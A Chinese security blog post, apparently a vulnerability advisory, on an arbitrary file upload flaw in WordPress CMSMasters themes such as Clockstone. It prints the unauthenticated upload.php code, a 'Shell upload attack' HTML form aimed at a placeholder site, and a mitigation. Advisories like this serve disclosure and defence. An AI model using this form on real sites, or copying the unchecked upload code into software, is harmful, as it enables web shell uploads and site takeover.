您的位置 » 首页 » 实用工具 » 漏洞播报:WordPress多个CMSMasters主题’upload.php’任意文件上传漏洞及修复

漏洞播报:WordPress多个CMSMasters主题’upload.php’任意文件上传漏洞及修复

发表于4年前 | 作者: seay | 分类: 实用工具 | 孵化于:2012年12月27日 | 文章热度:3,156 次 全屏阅读

显示不全请点击全屏阅读

漏洞版本:cmsmasters Clockstone

 
 
Clockstone是Wordpress的终极主题,一个单一的主题内集合了众多功能。
 
WordPress的Clockstone主题和其他主题存在文件上传漏洞。存在该漏洞的原因是由于问题代码对已登录的用户没有进行身份验证操作。攻击者可通过上传任意文件到受害者站点,进而获取站点的访问权限。
 
主题内有漏洞的代码:
 
##############################################################
#   <?php
#
#   if ($_POST[‘url’]){ $uploaddir = $_POST[‘url’]; }
#
#   $first_filename = $_FILES[‘uploadfile’][‘name’];
#
#   $filename = md5($first_filename);
#
#   $ext = substr($first_filename, 1 + strrpos($first_filename, ‘.’));
#
#   $file = $uploaddir . basename($filename.’.’.$ext);
#
#   if (move_uploaded_file($_FILES[‘uploadfile’][‘tmp_name’], $file)){
#       echo basename($filename.’.’.$ext);
#   } else {
#       echo ‘error’;
#   }
#
#   ?>
测试:
 
 
##############################################################
#   Shell upload attack:<br />
#   <form enctype=”multipart/form-data” action=”http://www.examplesite.com/wp-content/themes/clockstone/theme/functions/upload.php” method=”post”>
#   <input type=”text” name=”url” value=”./” /><br />
#   Please choose a file: <input name=”uploadfile” type=”file” /><br />
#   <input type=”submit” value=”Upload” />
#   </form>
##############################################################
 
临时解决方法:
 
如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
 
* 禁用CMSMasters主题
 
厂商补丁:
 
cmsmasters
———-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://themeforest.net/item/clockstone-ultimate-wordpress-theme/306607

Tags:

WordPress漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1941/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)